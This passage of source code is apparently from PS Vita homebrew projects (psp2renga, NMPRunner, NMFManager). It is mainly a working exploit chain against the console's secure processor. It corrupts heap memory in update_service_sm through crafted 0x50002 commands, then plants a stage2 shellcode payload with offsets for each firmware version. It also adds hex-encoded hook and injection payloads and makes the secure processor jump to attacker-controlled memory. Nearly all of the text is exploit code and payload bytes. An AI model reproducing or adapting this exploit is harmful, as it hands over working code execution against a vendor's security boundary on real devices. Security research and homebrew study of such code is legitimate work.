NMFsetup_framework(1); 371 | LOG("setup_lv0_framework: 0x%X\n", ret); 372 | if (ret != 0) 373 | return SCE_KERNEL_START_FAILED; 374 | tai_module_info_t scesblssmgr_modinfo; 375 | taiGetModuleInfoForKernel(KERNEL_PID, "SceSblSsMgr", &scesblssmgr_modinfo); 376 | sub_81000000_patched_hook = taiHookFunctionOffsetForKernel(KERNEL_PID, &sub_81000000_patched_ref, scesblssmgr_modinfo.modid, 0, 0, 1, sub_81000000_patched); 377 | LOG("Added resume patch\n"); 378 | return SCE_KERNEL_START_SUCCESS; 379 | } 380 | 381 | int module_stop(SceSize argc, const void *args) 382 | { 383 | renga_force_commemblock(1, 0); 384 | renga_force_commemblock(0, 1); 385 | LOG("psp2renga finished:?!?\n"); 386 | return SCE_KERNEL_STOP_SUCCESS; 387 | } 388 | 389 | -------------------------------------------------------------------------------- /Include/nmprunner.h: -------------------------------------------------------------------------------- 1 | /* 2 | NMPRunner by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | 7 | #define NMPCORRUPT_RANGE(first, last) do { for (int i = first; i < (last + 4); i-=-4) NMPcorrupt(i); } while (0) 8 | 9 | typedef struct NMPaddrPair { 10 | uint32_t addr; 11 | uint32_t length; 12 | } NMPaddrPair; 13 | 14 | typedef struct NMPaddrPairList { 15 | uint32_t size; 16 | uint32_t list_size; 17 | uint32_t ret_length; 18 | uint32_t ret_count; 19 | NMPaddrPair* list; 20 | } NMPaddrPairList; 21 | 22 | typedef struct NMPcmd_0x50002 { 23 | uint32_t unused_0[2]; 24 | uint32_t use_lv2_mode_0; 25 | uint32_t use_lv2_mode_1; 26 | uint32_t unused_10[3]; 27 | uint32_t list_count; // must be < 0x1F1 28 | uint32_t unused_20[4]; 29 | uint32_t total_count; // only used in LV1 mode 30 | uint32_t unused_34[1]; 31 | NMPaddrPair list[0x1F1]; // lv1 or lv2 list 32 | } __attribute__((packed)) NMPcmd_0x50002; 33 | 34 | typedef struct NMPheap_hdr { 35 | uint32_t data; 36 | uint32_t size; 37 | uint32_t size_aligned; 38 | uint32_t padding; 39 | uint32_t prev_pa; 40 | uint32_t next_pa; 41 | } __attribute__((packed)) NMPheap_hdr; 42 | 43 | typedef struct NMPSceSblSmCommContext130 { 44 | uint32_t unk_0; 45 | uint32_t self_type; // 2 - user = 1 / kernel = 0 46 | uint8_t data0[0x90]; //hardcoded data 47 | uint8_t data1[0x90]; 48 | uint32_t pathId; // 2 (2 = os0) 49 | uint32_t unk_12C; 50 | } NMPSceSblSmCommContext130; 51 | 52 | static const unsigned char NMPctx_130_data[0x90] = 53 | { 54 | 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x28, 0x00, 0x00, 55 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 56 | 0xc0, 0x00, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 57 | 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 58 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x09, 59 | 0x80, 0x03, 0x00, 0x00, 0xc3, 0x00, 0x00, 0x00, 0x80, 0x09, 60 | 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 61 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 62 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 63 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 64 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 65 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 66 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 67 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 68 | 0x00, 0x00, 0x00, 0x00 69 | }; 70 | 71 | int NMPctx = -1, NMPbuid = -1, NMPcuid = -1; 72 | uint32_t NMPcpybuf[16]; 73 | static NMPSceSblSmCommContext130 NMPsmcomm_ctx; 74 | static NMPcmd_0x50002 NMPcargs; 75 | static void* NMPcorridor = NULL, * NMPcached_sm = NULL; 76 | static uint32_t NMPis_ussm_cached = 0; 77 | uint32_t NMPcorridor_size = 0xF0000; 78 | uint32_t NMPcorridor_paddr = 0; 79 | 80 | NMPaddrPair NMPvrange; 81 | NMPaddrPair NMPpairs[8]; 82 | 83 | /* 84 | Stage 2 payload for Not-Moth: 85 | - execute code @0x1C010100 86 | - clean r0 87 | - jmp back to update_sm's 0xd0002 88 | On 3.60 - 3.70 byte[14] = 0x26 89 | On 3.71 - 3.74 byte[14] = 0x8c 90 | */ 91 | static uint8_t NMPstage2_payload[] = 92 | { 93 | 0x21, 0xc0, 0x01, 0x1c, // movh r0, 0x1C01 94 | 0x04, 0xc0, 0x00, 0x01, // or3 r0, r0, 0x100 95 | 0x0f, 0x10, // jsr r0 96 | 0x21, 0xc0, 0x00, 0x00, // movh r0, 0x0 97 | 0x26, 0xd3, 0xbd, 0x80, // movu r3, 0x80bd26 (0x80bd8c on .71) 98 | 0x3e, 0x10 // jmp r3 99 | }; 100 | 101 | 102 | /* 103 | configure_stage2(fw) 104 | Configure stage2 default payload 105 | ARG 1 (int): 106 | - current firmware 107 | RET (int): 108 | - 0: ok 109 | - 1: unsupported fw 110 | */ 111 | static int NMPconfigure_stage2(int fw) { 112 | if (fw >= 0x03600000 && fw < 0x03710000) { 113 | NMPstage2_payload[14] = 0x26; 114 | } else if (fw >= 0x03710000 && fw < 0x03750000) { 115 | NMPstage2_payload[14] = 0x8c; 116 | } else 117 | return 1; 118 | *(uint16_t*)(NMPstage2_payload + 2) = (uint16_t)(NMPcorridor_paddr / 0x10000); 119 | return 0; 120 | } 121 | 122 | /* 123 | reserve_commem(smset) 124 | Reserve comm area 125 | ARG 1 (int): 126 | - do memset? (0/1) 127 | RET (int): 128 | - 0: ok 129 | - 1: commem already reserved 130 | - 2: could not get paddr list 131 | - 3: could not alloc 132 | */ 133 | int NMPreserve_commem(int smset, int usepaddr) { 134 | int ret = 0; 135 | if (NMPbuid != -1) 136 | return 1; 137 | 138 | NMPcorridor = NULL; 139 | 140 | SceKernelAllocMemBlockKernelOpt optp; 141 | memset(&optp, 0, 0x58); 142 | optp.size = 0x58; 143 | optp.attr = 2; 144 | optp.paddr = NMPcorridor_paddr; 145 | NMPbuid = ksceKernelAllocMemBlock("sram_cam", 0x10208006, NMPcorridor_size, usepaddr ? &optp : NULL); 146 | ksceKernelGetMemBlockBase(NMPbuid, (void**)&NMPcorridor); 147 | if (!NMPcorridor) 148 | return 3; 149 | if (!usepaddr) { 150 | NMPaddrPairList paddr_list; 151 | NMPvrange.addr = (uint32_t)NMPcorridor; 152 | NMPvrange.length = NMPcorridor_size; 153 | paddr_list.size = 0x14; 154 | paddr_list.list = &NMPpairs[0]; 155 | paddr_list.list_size = 8; 156 | ret = ksceKernelGetPaddrList(&NMPvrange, &paddr_list); 157 | if (ret < 0) 158 | return 2; 159 | NMPcorridor_paddr = NMPpairs[0].addr; 160 | } 161 | 162 | if (smset) 163 | memset(NMPcorridor, 0, NMPcorridor_size); 164 | return 0; 165 | } 166 | 167 | /* 168 | free_commem(smset) 169 | Free comm area 170 | ARG 1 (int): 171 | - do memset? (0/1) 172 | RET (int): 173 | - 0: ok 174 | - 1: commem already freed 175 | */ 176 | int NMPfree_commem(int smset) { 177 | if (NMPbuid == -1) 178 | return 1; 179 | if (smset) 180 | memset(NMPcorridor, 0, NMPcorridor_size); 181 | ksceKernelFreeMemBlock(NMPbuid); 182 | NMPbuid = -1; 183 | NMPcorridor = NULL; 184 | return 0; 185 | } 186 | 187 | /* 188 | copy(pbuf, off, psz, opmode) 189 | Copy from/to commem 190 | ARG 1 (void *): 191 | - in/out buffer 192 | ARG 2 (uint32_t): 193 | - commem offset to copy from/to 194 | ARG 3 (uint32_t) 195 | - copy size 196 | ARG 4 (int) 197 | - opmode = 0 => copy TO commem 198 | - opmode = 1 => copy FROM commem 199 | RET (int): 200 | - 0: ok 201 | - 1: commem freed 202 | - 2: OOB 203 | */ 204 | int NMPcopy(void* pbuf, uint32_t off, uint32_t psz, int opmode) { 205 | if (NMPbuid == -1) 206 | return 1; 207 | if ((NMPcorridor_paddr + off + psz) > (NMPcorridor_paddr + NMPcorridor_size)) 208 | return 2; 209 | if (!opmode) 210 | memcpy((NMPcorridor + off), pbuf, psz); 211 | else 212 | memcpy(pbuf, (NMPcorridor + off), psz); 213 | 214 | return 0; 215 | } 216 | 217 | /* 218 | file_op(file, off, psz, opmode) 219 | Read from file to commem/Write to file from commem 220 | ARG 1 (char *): 221 | - file location 222 | ARG 2 (uint32_t): 223 | - commem offset to copy from/to 224 | ARG 3 (uint32_t) 225 | - copy size 226 | ARG 4 (int) 227 | - opmode = 0 => write TO file 228 | - opmode = 1 => read FROM file 229 | RET (int): 230 | - 0: ok 231 | - 1: commem freed 232 | - 2: OOB 233 | - 3: could not open 234 | */ 235 | int NMPfile_op(const char* floc, uint32_t off, uint32_t dsz, int opmode) { 236 | int fd = -1; 237 | if (NMPbuid == -1) 238 | return 1; 239 | if ((NMPcorridor_paddr + off + dsz) > (NMPcorridor_paddr + NMPcorridor_size)) 240 | return 2; 241 | if (!opmode) { 242 | fd = ksceIoOpen(floc, SCE_O_WRONLY | SCE_O_TRUNC | SCE_O_CREAT, 6); 243 | if (fd < 0) 244 | return 3; 245 | ksceIoWrite(fd, (NMPcorridor + off), dsz); 246 | ksceIoClose(fd); 247 | } else { 248 | fd = ksceIoOpen(floc, SCE_O_RDONLY, 0); 249 | if (fd < 0) 250 | return 3; 251 | ksceIoRead(fd, (NMPcorridor + off), dsz); 252 | ksceIoClose(fd); 253 | } 254 | 255 | return 0; 256 | } 257 | 258 | /* 259 | corrupt(addr) 260 | Writes (uint32_t)0x2000 to (p)addr. 261 | ARG 1 (uint32_t): 262 | - paddr to write to 263 | RET (int): 264 | - 0: ok 265 | */ 266 | int NMPcorrupt(uint32_t addr) { 267 | int ret = 0, sm_ret = 0; 268 | memset(&NMPcargs, 0, sizeof(NMPcargs)); 269 | NMPcargs.use_lv2_mode_0 = 0; 270 | NMPcargs.use_lv2_mode_1 = 0; 271 | NMPcargs.list_count = 3; 272 | NMPcargs.total_count = 1; 273 | NMPcargs.list[0].addr = 0x50000000; 274 | NMPcargs.list[1].addr = 0x50000000; 275 | NMPcargs.list[0].length = 0x10; 276 | NMPcargs.list[1].length = 0x10; 277 | NMPcargs.list[2].addr = 0; 278 | NMPcargs.list[2].length = addr - offsetof(NMPheap_hdr, next_pa); 279 | ret = ksceSblSmCommCallFunc(NMPctx, 0x50002, &sm_ret, &NMPcargs, sizeof(NMPcargs)); 280 | if (sm_ret < 0) 281 | return sm_ret; 282 | return ret; 283 | } 284 | 285 | 286 | extern int ksceSblSmCommStartSmFromData(int priority, const char* elf_data, int elf_size, int num1, NMPSceSblSmCommContext130* ctx, int* id); 287 | extern int ksceSblSmCommStartSmFromFile(int priority, const char* elf_path, int num1, NMPSceSblSmCommContext130* ctx, int* id); 288 | /* 289 | exploit_init(fw) 290 | Converts update_sm's 0xd0002 function. 291 | ARG 1 (int): 292 | - current firmware version 293 | RET (int): 294 | - 0: ok 295 | - 1: error getting modinfo 296 | - 2: error loading sm 297 | - 3: unsupported fw 298 | */ 299 | int NMPexploit_init(int fw) { 300 | int ret = -1; 301 | NMPctx = -1; 302 | memset(&NMPsmcomm_ctx, 0, sizeof(NMPsmcomm_ctx)); 303 | memcpy(NMPsmcomm_ctx.data0, NMPctx_130_data, 0x90); 304 | NMPsmcomm_ctx.pathId = 2; 305 | NMPsmcomm_ctx.self_type = (NMPsmcomm_ctx.self_type & 0xFFFFFFF0) | 2; 306 | if (!NMPis_ussm_cached) 307 | ret = ksceSblSmCommStartSmFromFile(0, "os0:sm/update_service_sm.self", 0, &NMPsmcomm_ctx, &NMPctx); 308 | else 309 | ret = ksceSblSmCommStartSmFromData(0, NMPcached_sm, NMPis_ussm_cached, 0, &NMPsmcomm_ctx, &NMPctx); 310 | if (ret == 0) { 311 | if (fw >= 0x03600000 && fw < 0x03710000) { 312 | NMPCORRUPT_RANGE(0x0080bd10, 0x0080bd20); 313 | } else if (fw >= 0x03710000 && fw < 0x03750000) 314 | NMPcorrupt(0x0080bd7c); 315 | else 316 | return 3; 317 | } else 318 | return 2; 319 | return 0; 320 | } 321 | 322 | /* 323 | f00d_jump(paddr, fw) 324 | Makes f00d jump to paddr, assuming that 0xd0002 is converted. 325 | ARG 1 (uint32_t): 326 | - paddr to jump to 327 | ARG 2 (int): 328 | - current firmware version 329 | RET (int): 330 | - 0: ok 331 | - 1: payload execute error 332 | - 2: payload paddr plant error 333 | */ 334 | static int NMPf00d_jump(uint32_t paddr, int fw) { 335 | int ret = -1, sm_ret = -1; 336 | uint32_t jpaddr = paddr; 337 | if (fw >= 0x03710000 && fw < 0x03750000) { // plant our payload paddr, workaround due to alignment 338 | memset(NMPcpybuf, 0, sizeof(NMPcpybuf)); 339 | NMPcpybuf[0] = 1; 340 | NMPcpybuf[1] = 1; 341 | NMPcpybuf[2] = paddr; 342 | NMPcpybuf[3] = paddr; 343 | NMPcpybuf[4] = paddr; 344 | ret = ksceSblSmCommCallFunc(NMPctx, 0xd0002, &sm_ret, &NMPcpybuf, sizeof(NMPcpybuf)); 345 | if (ret) 346 | return 2; 347 | jpaddr = 5414; 348 | } 349 | sm_ret = -1; 350 | memset(NMPcpybuf, 0, sizeof(NMPcpybuf)); 351 | NMPcpybuf[0] = jpaddr; 352 | ret = ksceSblSmCommCallFunc(NMPctx, 0xd0002, &sm_ret, NMPcpybuf, sizeof(NMPcpybuf)); 353 | if (ret) 354 | return 1; 355 | return 0; 356 | } 357 | 358 | /* 359 | run_default(pbuf, psz) 360 | Run the payload with default settings 361 | ARG 1 (void *): 362 | - payload buf 363 | ARG 2 (uint32_t): 364 | - payload sz 365 | RET (int): 366 | - 0x00: ok 367 | - 0x0X: exploit failed 368 | - 0x1X: commem already reserved 369 | - 0x2X: copy stage2 error 370 | - 0x3X: copy main error 371 | - 0x4X: payload execute error 372 | - 0x5X: commem already free 373 | - 0x6X: unsupported firmware for stage2 374 | */ 375 | int NMPrun_default(void* pbuf, uint32_t psz) { 376 | int ret = 0; 377 | int sysroot = ksceSysrootGetSysroot(); 378 | uint32_t fw = *(uint32_t*)(*(int*)(sysroot + 0x6c) + 4); 379 | NMPctx = -1; 380 | ret = NMPexploit_init(fw); 381 | if (ret) 382 | return ret; 383 | ret = NMPconfigure_stage2(fw); 384 | if (ret) 385 | return (0x60 + ret); 386 | ret = NMPreserve_commem(1, 1); 387 | if (ret) 388 | return (0x10 + ret); 389 | ret = NMPcopy(&NMPstage2_payload, 0, sizeof(NMPstage2_payload), 0); 390 | if (ret) 391 | return (0x20 + ret); 392 | ret = NMPcopy(pbuf, 0x100, psz, 0); 393 | if (ret) 394 | return (0x30 + ret); 395 | ret = NMPfree_commem(0); 396 | if (ret) 397 | return (0x50 + ret); 398 | ret = NMPf00d_jump(NMPcorridor_paddr, fw); 399 | if (ret) 400 | return (0x40 + ret); 401 | uint32_t stop_res[2]; 402 | stop_res[0] = 0; 403 | stop_res[1] = 0; 404 | ksceSblSmCommStopSm(NMPctx, &stop_res); 405 | return 0; 406 | } 407 | 408 | /* 409 | NMPcache_ussm(sm_path, cache) 410 | Copies the update sm to memblock 411 | ARG 1 (char *): 412 | - sm path 413 | ARG 2 (int): 414 | - read? (1: cache, 0: free) 415 | RET (int): 416 | - 0: ok 417 | - 2: cmd error 418 | - 3: file error 419 | - 4: could not alloc 420 | */ 421 | int NMPcache_ussm(const char* smsrc, int cache) { 422 | int fd = -1; 423 | if (cache && !NMPis_ussm_cached) { 424 | NMPcached_sm = NULL; 425 | NMPcuid = ksceKernelAllocMemBlock("cached_ussm", 0x1020D006, 0xc000, NULL); 426 | ksceKernelGetMemBlockBase(NMPcuid, (void**)&NMPcached_sm); 427 | if (!NMPcached_sm) 428 | return 4; 429 | SceIoStat stat; 430 | int stat_ret = ksceIoGetstat(smsrc, &stat); 431 | if (stat_ret < 0) { 432 | ksceKernelFreeMemBlock(NMPcuid); 433 | return 3; 434 | } else { 435 | fd = ksceIoOpen(smsrc, SCE_O_RDONLY, 0); 436 | if (fd < 0) { 437 | ksceKernelFreeMemBlock(NMPcuid); 438 | return 3; 439 | } 440 | ksceIoRead(fd, NMPcached_sm, stat.st_size); 441 | ksceIoClose(fd); 442 | } 443 | NMPis_ussm_cached = stat.st_size; 444 | } else if (!cache && NMPis_ussm_cached) { 445 | ksceKernelFreeMemBlock(NMPcuid); 446 | NMPis_ussm_cached = 0; 447 | NMPcached_sm = NULL; 448 | } else 449 | return 2; 450 | return 0; 451 | } 452 | -------------------------------------------------------------------------------- /Include/nmfmanager.h: -------------------------------------------------------------------------------- 1 | /* 2 | NMFManager by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | 7 | #include "nmprunner.h" 8 | #include "renga-defs.h" 9 | 10 | #define NMFMGR_OFF (0x200) 11 | #define NMFBLOCK_START RENGA_BLOCKS_START 12 | #define NMFBLOCK_SZ RENGA_BLOCK_SZ 13 | #define NMFBCODE_OFF RENGA_MAX_SM_SZ 14 | #define NMFEND_OFF (0xD0000) 15 | 16 | static void *NMFramework; 17 | static void *NMForig_corridor; 18 | static uintptr_t NMFramework_paddr; 19 | static SceUID NMFramework_uid = 0; 20 | static uintptr_t NMFcurrent_paddr; 21 | 22 | unsigned char NMFloadsm_hook[] = { 23 | 0xc0, 0x6f, 0x80, 0xd3, 0x9e, 0x80, 0x1a, 0x7b, 0x06, 0x45, 0xfa, 0x0b, 24 | 0x3e, 0x05, 0x5b, 0xc3, 0x02, 0x00, 0x14, 0xe3, 0x13, 0x00, 0x5b, 0xc2, 25 | 0x05, 0x00, 0x5b, 0xc0, 0x04, 0x00, 0x5b, 0xc3, 0x06, 0x00, 0x46, 0x62, 26 | 0x00, 0x12, 0x5b, 0xc0, 0x07, 0x00, 0x86, 0x63, 0x30, 0x12, 0xc6, 0x60, 27 | 0x20, 0x10, 0x0f, 0x10, 0x58, 0xc0, 0x03, 0x00, 0x05, 0x51, 0x10, 0xd3, 28 | 0x20, 0x80, 0x3f, 0x10, 0x07, 0x45, 0xfe, 0x0b, 0x40, 0x6f, 0xbe, 0x10, 29 | 0xf0, 0xff, 0x1f, 0x00 30 | }; 31 | 32 | unsigned char NMFinject_payload[] = { 33 | 0x80, 0x6f, 0x16, 0x45, 0x12, 0x46, 0x1e, 0x4d, 0x1a, 0x4e, 0x1a, 0x7b, 34 | 0x0e, 0x4b, 0xd0, 0x05, 0xe0, 0x06, 0x00, 0x53, 0x06, 0x43, 0x16, 0xd3, 35 | 0x10, 0x80, 0xfa, 0x03, 0xfe, 0x00, 0x50, 0x53, 0x21, 0xc2, 0x85, 0x1f, 36 | 0x24, 0xc2, 0x00, 0x04, 0x50, 0xd1, 0x7c, 0x80, 0x50, 0x0d, 0x60, 0x0e, 37 | 0x0f, 0x10, 0x06, 0x40, 0xfe, 0x00, 0x01, 0xc3, 0x80, 0x00, 0x21, 0xc2, 38 | 0x85, 0x1f, 0x24, 0xc2, 0x00, 0x08, 0x00, 0xd1, 0x9e, 0x80, 0x50, 0x0d, 39 | 0x60, 0x0e, 0x0f, 0x10, 0x06, 0x40, 0x80, 0xd2, 0x9e, 0x80, 0x21, 0xc3, 40 | 0x85, 0x1f, 0x34, 0xc3, 0x00, 0x0b, 0x3e, 0x03, 0x2a, 0x03, 0x80, 0xd3, 41 | 0x9e, 0x80, 0x3e, 0x03, 0x3e, 0xa3, 0x06, 0xd3, 0x0a, 0x80, 0x01, 0xc2, 42 | 0x50, 0xd0, 0x39, 0x02, 0x08, 0xd3, 0x0a, 0x80, 0x01, 0xc2, 0x7c, 0x80, 43 | 0x39, 0x02, 0x0a, 0xd3, 0x0a, 0x80, 0x01, 0xc2, 0x0f, 0x10, 0x39, 0x02, 44 | 0x72, 0xd3, 0x03, 0x80, 0x01, 0xc2, 0x79, 0xdc, 0x39, 0x02, 0x74, 0xd3, 45 | 0x03, 0x80, 0x01, 0xc2, 0x9a, 0x00, 0x39, 0x02, 0xfe, 0xd3, 0x0a, 0x80, 46 | 0x01, 0xc2, 0x10, 0x06, 0x39, 0x02, 0x80, 0xd3, 0x9e, 0x80, 0x3e, 0x03, 47 | 0x06, 0x43, 0x07, 0x43, 0x30, 0x00, 0x1b, 0x4e, 0x1f, 0x4d, 0x13, 0x46, 48 | 0x17, 0x45, 0x0f, 0x4b, 0x20, 0x4f, 0xbe, 0x10, 0x00, 0x00, 0x00, 0x00, 49 | 0xf0, 0xff, 0x1f, 0x00 50 | }; 51 | 52 | unsigned char NMFmanager[] = { 53 | 0x80, 0x6f, 0x80, 0xd3, 0x9e, 0x80, 0x1a, 0x7b, 0x16, 0x45, 0x12, 0x46, 54 | 0x0e, 0x47, 0x0a, 0x48, 0x06, 0x4b, 0x3e, 0x06, 0x34, 0x53, 0x6b, 0xc8, 55 | 0x03, 0x00, 0x35, 0xe8, 0x72, 0x00, 0x21, 0xca, 0x80, 0x00, 0x12, 0x53, 56 | 0x60, 0xc9, 0x16, 0x00, 0x00, 0x50, 0xa4, 0xca, 0x0e, 0xb0, 0x0c, 0x51, 57 | 0x68, 0xc3, 0x03, 0x00, 0x09, 0xe1, 0x15, 0x00, 0x00, 0xc2, 0x02, 0x00, 58 | 0x1e, 0x62, 0x22, 0x96, 0x05, 0xc7, 0xff, 0x00, 0x2b, 0xc3, 0x05, 0x00, 59 | 0x2b, 0xcb, 0x04, 0x00, 0x46, 0x63, 0xb0, 0x13, 0x14, 0xa3, 0xaf, 0x02, 60 | 0x35, 0xe2, 0x05, 0x00, 0x9b, 0x03, 0x04, 0xe3, 0x50, 0x00, 0x04, 0x60, 61 | 0x20, 0x69, 0x0d, 0x57, 0x00, 0x53, 0x13, 0x52, 0x68, 0xc2, 0x03, 0x00, 62 | 0x14, 0xe3, 0x3c, 0x00, 0x1f, 0x67, 0x05, 0x96, 0x34, 0x53, 0x58, 0xc3, 63 | 0x17, 0x00, 0x5c, 0xc3, 0x16, 0x00, 0x10, 0x52, 0x35, 0xc3, 0xf0, 0x00, 64 | 0x25, 0xe3, 0x1f, 0x00, 0x5b, 0xc3, 0x19, 0x00, 0x5b, 0xc1, 0x18, 0x00, 65 | 0x80, 0xd2, 0x9e, 0x80, 0x87, 0x67, 0x46, 0x63, 0x10, 0x13, 0x5b, 0xc1, 66 | 0x1a, 0x00, 0x2e, 0x02, 0x86, 0x61, 0x30, 0x11, 0x5b, 0xc3, 0x1b, 0x00, 67 | 0x20, 0xc2, 0x00, 0x05, 0x02, 0x92, 0x16, 0xd0, 0x10, 0x80, 0xc6, 0x63, 68 | 0x10, 0x13, 0x00, 0xd1, 0xb0, 0x80, 0x0f, 0x10, 0x69, 0x53, 0x58, 0xc3, 69 | 0x17, 0x00, 0x5c, 0xc3, 0x16, 0x00, 0x35, 0xc3, 0x0f, 0x00, 0x14, 0xe3, 70 | 0x0d, 0x00, 0x80, 0xd3, 0x9e, 0x80, 0x86, 0x67, 0x3e, 0x00, 0x00, 0xd3, 71 | 0xe5, 0x00, 0x30, 0x90, 0x70, 0x90, 0x0f, 0x10, 0x58, 0xc0, 0x17, 0x00, 72 | 0x14, 0x53, 0x68, 0xc3, 0x03, 0x00, 0x80, 0x00, 0x0f, 0x47, 0x0b, 0x48, 73 | 0x13, 0x46, 0x17, 0x45, 0x07, 0x4b, 0x20, 0x4f, 0xbe, 0x10, 0x01, 0x53, 74 | 0x6a, 0xbf, 0x11, 0x58, 0xea, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 75 | 0xf0, 0xff, 0x1f, 0x00 76 | }; 77 | 78 | unsigned char NMFfcmdh_hook[] = { 79 | 0x21, 0xc3, 0x00, 0xe0, 0xc0, 0x6f, 0x34, 0xc3, 0x10, 0x00, 0x1a, 0x7b, 80 | 0x06, 0x45, 0xfa, 0x0b, 0x3e, 0x02, 0x80, 0xd3, 0x9e, 0x80, 0x3e, 0x05, 81 | 0x5b, 0xc0, 0x0d, 0x00, 0x5b, 0xc9, 0x0e, 0x00, 0x5b, 0xc3, 0x0c, 0x00, 82 | 0x46, 0x60, 0x86, 0x69, 0x30, 0x10, 0x90, 0x10, 0x5b, 0xc9, 0x0f, 0x00, 83 | 0xc6, 0x69, 0x90, 0x10, 0x3a, 0xa0, 0x50, 0x01, 0x0f, 0x10, 0x00, 0x02, 84 | 0x00, 0x53, 0x42, 0x62, 0x58, 0xc2, 0x11, 0x00, 0x00, 0x02, 0x58, 0xc0, 85 | 0x10, 0x00, 0x82, 0x62, 0xc2, 0x60, 0x58, 0xc2, 0x12, 0x00, 0x58, 0xc0, 86 | 0x13, 0x00, 0x58, 0xc3, 0x0c, 0x00, 0x58, 0xc3, 0x0d, 0x00, 0x58, 0xc3, 87 | 0x0e, 0x00, 0x58, 0xc3, 0x0f, 0x00, 0x07, 0x45, 0xfe, 0x0b, 0x40, 0x6f, 88 | 0xbe, 0x10, 0x20, 0x01, 0xdc, 0xd3, 0x0a, 0x80, 0x3f, 0x10, 0xf0, 0xbf, 89 | 0xf0, 0xff, 0x1f, 0x00 90 | }; 91 | 92 | unsigned char NMFswap_bank[] = { 93 | 0xc0, 0x6f, 0x06, 0x41, 0x80, 0xd3, 0x9e, 0x80, 0x3e, 0x03, 0x0e, 0x43, 94 | 0x80, 0xd2, 0x9e, 0x80, 0x0f, 0x43, 0x3b, 0xc1, 0x08, 0x00, 0x3b, 0xc0, 95 | 0x09, 0x00, 0x46, 0x60, 0x00, 0x11, 0x3b, 0xc0, 0x0a, 0x00, 0x86, 0x60, 96 | 0x00, 0x11, 0x3b, 0xc3, 0x0b, 0x00, 0xc6, 0x63, 0x10, 0x13, 0x2a, 0x03, 97 | 0x01, 0xc3, 0x34, 0x69, 0x30, 0x00, 0x40, 0x6f, 0x02, 0x70, 0x00, 0x00, 98 | 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x1f, 0x00 99 | }; 100 | 101 | #define ALIGN(x, a) (((x) + ((a) - 1)) & ~((a) - 1)) 102 | 103 | int alloc_phycont(unsigned int size, unsigned int alignment, SceUID *uid, void **addr) 104 | { 105 | int ret; 106 | SceUID mem_uid; 107 | void *mem_addr; 108 | 109 | SceKernelAllocMemBlockKernelOpt opt; 110 | memset(&opt, 0, sizeof(opt)); 111 | opt.size = sizeof(opt); 112 | opt.attr = SCE_KERNEL_ALLOC_MEMBLOCK_ATTR_PHYCONT | SCE_KERNEL_ALLOC_MEMBLOCK_ATTR_HAS_ALIGNMENT; 113 | opt.alignment = ALIGN(alignment, 0x1000); 114 | mem_uid = ksceKernelAllocMemBlock("phycont", 0x30808006, ALIGN(size, 0x1000), &opt); 115 | if (mem_uid < 0) 116 | return mem_uid; 117 | 118 | ret = ksceKernelGetMemBlockBase(mem_uid, &mem_addr); 119 | if (ret < 0) { 120 | ksceKernelFreeMemBlock(mem_uid); 121 | return ret; 122 | } 123 | 124 | if (uid) 125 | *uid = mem_uid; 126 | if (addr) 127 | *addr = mem_addr; 128 | 129 | return 0; 130 | } 131 | 132 | /* 133 | setup_framework(rexploit) 134 | Setup the NMFramework 135 | ARG 1 (int): 136 | - if 1, re-run the exploit 137 | RET (int): 138 | - 0x00: ok 139 | - 0x0X: exploit failed 140 | - 0x1X: enable framework error 141 | - 0x2X: copy stage2 error 142 | - 0x3X: copy/set main error 143 | - 0x4X: payload execute error 144 | - 0x6X: unsupported firmware for stage2 145 | - 0x7X: sm_load framework copy error 146 | - 0x8X: manager copy error 147 | - 0x9X: irq_user framework copy error 148 | */ 149 | static int NMFsetup_framework(int rexploit) { 150 | int ret = 0; 151 | if (rexploit == 1) { 152 | int sysroot = ksceKernelGetSysbase(); 153 | uint32_t fw = *(uint32_t *)(*(int *)(sysroot + 0x6c) + 4); 154 | NMPcache_ussm("os0:sm/update_service_sm.self", 1); 155 | ret = NMPexploit_init(fw); 156 | if (ret != 0) 157 | return ret; 158 | NMPfree_commem(0); 159 | NMPcorridor_paddr = 0x1f850000; 160 | NMPcorridor_size = 0x10000; 161 | NMPreserve_commem(1); 162 | ret = NMPconfigure_stage2(fw); 163 | if (ret != 0) 164 | return (0x60 + ret); 165 | ret = NMPcopy(&NMPstage2_payload, 0, sizeof(NMPstage2_payload), 0); 166 | if (ret != 0) 167 | return (0x20 + ret); 168 | ret = NMPcopy(&NMFinject_payload, 0x100, sizeof(NMFinject_payload), 0); 169 | if (ret != 0) 170 | return (0x30 + ret); 171 | ret = NMPcopy(&NMFloadsm_hook, 0x400, sizeof(NMFloadsm_hook), 0); 172 | if (ret != 0) 173 | return (0x70 + ret); 174 | ret = NMPcopy(&NMFfcmdh_hook, 0x800, sizeof(NMFfcmdh_hook), 0); 175 | if (ret != 0) 176 | return (0x90 + ret); 177 | *(uint32_t *)(NMPcorridor + 0xB00) = NMFcurrent_paddr; 178 | ret = NMPf00d_jump((uint32_t)0x1f850000, fw); 179 | if (ret != 0) 180 | return (0x40 + ret); 181 | ksceSblSmCommStopSm(NMPctx, &NMPstop_res); 182 | NMPfree_commem(1); 183 | NMPcorridor_paddr = NMFcurrent_paddr; 184 | NMPcorridor_size = 0x1FE000; 185 | 